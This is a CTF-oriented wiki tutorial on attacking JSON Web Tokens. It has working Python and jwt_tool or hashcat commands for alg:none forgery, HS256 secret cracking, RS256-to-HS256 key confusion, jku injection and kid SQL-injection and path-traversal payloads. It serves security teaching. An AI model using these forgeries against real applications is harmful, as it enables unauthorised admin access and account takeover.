Athena Wiki
Web ExploitationAuthentication

JWT Attacks

webintermediate

Every major JWT vulnerability and how to exploit them in CTF web challenges.

webjwtauthenticationalg-nonekey-confusionjwt_tool

JWT Attacks

JSON Web Tokens (JWTs) are widely used for authentication and session management. When misconfigured, they expose severe vulnerabilities. CTF web challenges frequently feature JWT attacks because they're easy to misconfigure and hard to fix without understanding the underlying cryptography.

JWT Structure

A JWT is three base64url-encoded parts separated by dots:

header.payload.signature

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
.eyJ1c2VyIjoiZ3Vlc3QiLCJhZG1pbiI6ZmFsc2V9
.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Decode with:

# Manual base64url decode
echo "eyJ1c2VyIjoiZ3Vlc3QifQ" | base64 -d

# Or use jwt.io (online) / jwt_tool

Attack Decision Tree

Capture JWT

Intercept the JWT token from the application.

Decode Header

Decode the JWT header to check the alg (algorithm) parameter.

Algorithm-Specific Attacks

Header algTry this
noneNone-algorithm attack (strip or forge signature)
HS256Weak secret brute force; RS256→HS256 confusion if public key is exposed
RS256Key confusion (HMAC with public key); jku / x5u injection if trusted

Investigate kid header

If a kid header exists, test for SQL injection and path traversal.

Attack 1: Algorithm None (alg: none)

Some libraries accept a token with alg: none and skip signature verification entirely.

import base64, json

def b64url_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# Forge a token with admin=true
header  = {"alg": "none", "typ": "JWT"}
payload = {"user": "guest", "admin": True, "role": "admin"}

h = b64url_encode(json.dumps(header).encode())
p = b64url_encode(json.dumps(payload).encode())

# Signature is empty (or just a dot)
forged = f"{h}.{p}."
print(forged)

Also try: "alg": "None", "alg": "NONE", "alg": "nOnE".

Attack 2: HS256 Secret Brute Force

If the algorithm is HS256, the server uses a shared symmetric secret. If the secret is weak:

# Using jwt_tool
pip3 install jwt_tool
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt

# Using hashcat
hashcat -a 0 -m 16500 <JWT> /usr/share/wordlists/rockyou.txt

Once you find the secret, forge a new token:

import jwt  # pip install PyJWT

secret = "password123"
payload = {"user": "admin", "admin": True}

token = jwt.encode(payload, secret, algorithm="HS256")
print(token)

Attack 3: RS256 → HS256 Algorithm Confusion

If the server uses RS256 but you can obtain the public key, you can re-sign the token using HS256 with the public key as the HMAC secret - because some libraries use the same verification path.

import jwt, base64

# Get the public key (from /jwks.json endpoint, or leaked)
public_key = open('public.pem', 'rb').read()

payload = {"user": "admin", "admin": True}

# Sign with HS256 using the public key as the secret
forged = jwt.encode(payload, public_key, algorithm="HS256")
print(forged)

Attack 4: jku / x5u Header Injection

The jku header tells the verifier where to fetch the signing key. If the server fetches from an attacker-controlled URL:

  1. Generate your own RSA keypair:
openssl genrsa -out attacker.key 2048
openssl rsa -in attacker.key -pubout -out attacker.pub
openssl req -new -x509 -key attacker.key -out attacker.crt
  1. Host a JWKS at your URL (e.g. https://your-server.com/jwks.json)
  2. Forge a token with jku: "https://your-server.com/jwks.json" signed with your private key

Attack 5: kid SQL Injection

The kid (key ID) header selects which key to use for verification. If it's interpolated into a SQL query unsafely:

kid: ' UNION SELECT 'attacker_secret'--

Now the verifier uses attacker_secret as the key, and you can sign with it:

kid_payload = "' UNION SELECT 'attacker_secret'-- "
header = {"alg": "HS256", "typ": "JWT", "kid": kid_payload}
payload = {"user": "admin"}

import jwt
token = jwt.encode(payload, "attacker_secret", algorithm="HS256",
                   headers=header)

Attack 6: kid Path Traversal

Some implementations load the key from a filesystem path specified by kid:

kid: ../../dev/null

Then sign the token with an empty string (null file contains nothing):

import jwt
token = jwt.encode({"admin": True}, "", algorithm="HS256",
                   headers={"kid": "../../dev/null"})

Tool: jwt_tool

# Decode and analyze
python3 jwt_tool.py <JWT>

# Try all attacks automatically
python3 jwt_tool.py <JWT> -M at

# Tamper payload (inject claim)
python3 jwt_tool.py <JWT> -T

# Key confusion (RS256 → HS256)
python3 jwt_tool.py <JWT> -X k -pk public.pem

end


Last updated on

On this page